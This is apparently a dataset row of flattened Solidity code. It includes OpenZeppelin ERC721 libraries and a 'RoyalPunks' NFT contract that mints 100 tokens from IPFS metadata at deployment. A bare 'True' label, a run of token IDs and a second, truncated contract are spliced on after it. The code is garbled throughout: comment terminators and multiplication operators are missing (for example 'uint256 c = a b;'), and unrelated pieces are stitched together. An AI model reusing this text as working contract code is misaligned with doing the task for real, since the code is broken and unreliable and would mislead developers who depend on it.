public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId \|\| interfaceId == type(IERC721Metadata).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721-balanceOf}. / function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /* * @dev See {IERC721-ownerOf}. / function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /* * @dev See {IERC721Metadata-name}. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev See {IERC721Metadata-symbol}. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /* * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overridden in child contracts. / function _baseURI() internal view virtual returns (string memory) { return ""; } /* * @dev See {IERC721-approve}. / function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner \|\| isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /* * @dev See {IERC721-getApproved}. / function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /* * @dev See {IERC721-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /* * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` / library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /* * @dev ERC721 token with storage based token URI management. / abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /* * @dev See {IERC721Metadata-tokenURI}. / function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /* * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } pragma solidity ^0.8.0; contract Collectible2 is ERC721URIStorage { uint256 internal tokenCounter; string[] internal metadados; address internal _owner; uint256 internal _totalsupply = 3333; string public contracturi = "https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH"; constructor () ERC721 ("RoyalPunks", "RPK"){ _owner = msg.sender; tokenCounter = 1; metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/1.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/2.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/3.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/4.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/5.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/6.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/7.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/8.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/9.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/10.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/11.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/12.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/13.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/14.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/15.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/16.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/17.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/18.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/19.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/20.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/21.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/22.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/23.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/24.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/25.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/26.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/27.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/28.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/29.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/30.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/31.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/32.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/33.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/34.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/35.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/36.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/37.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/38.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/39.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/40.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/41.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/42.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/43.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/44.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/45.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/46.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/47.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/48.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/49.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/50.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/51.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/52.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/53.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/54.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/55.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/56.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/57.json"); 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metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/67.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/68.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/69.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/70.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/71.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/72.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/73.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/74.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/75.json"); 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metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/85.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/86.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/87.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/88.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/89.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/90.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/91.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/92.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/93.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/94.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/95.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/96.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/97.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/98.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/99.json"); metadados.push("https://gateway.pinata.cloud/ipfs/QmW8mH4QNpi6tmReomxRsJPga1Vtjgk8Tyo9UsyXjGgMwH/100.json"); for (uint i=0; i<metadados.length; i++) { mint(metadados[i]); } } function contractURI() public view returns (string memory) { require(isOwner(), "Ownable: caller is not the owner"); return contracturi; } function mint(string memory tokenURI) public returns (uint256) { require(isOwner(), "Ownable: caller is not the owner"); uint256 newItemId = tokenCounter; require(newItemId < _totalSupply(), "Max supply reached"); _safeMint(msg.sender, newItemId); _setTokenURI(newItemId, tokenURI); tokenCounter = tokenCounter + 1; return newItemId; } function getMetadados(uint256 index) public view returns (string memory) { require(isOwner(), "Ownable: caller is not the owner"); return metadados[index]; } function owner() public view returns (address) { return _owner; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function _totalSupply() public view returns (uint256) { require(isOwner(), "Ownable: caller is not the owner"); return _totalsupply; } function setTotalSupply(uint256 supply) public { require(isOwner(), "Ownable: caller is not the owner"); _totalsupply = supply; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 5641, 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/** Submitted for verification at Etherscan.io on 2021-03-13 / /** Submitted for verification at Etherscan.io on 2020-10-18 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /* * @dev Returns true if the caller is the current owner. / function isOwner() public view returns (bool) { return _msgSender() == _owner; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface RMU { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) 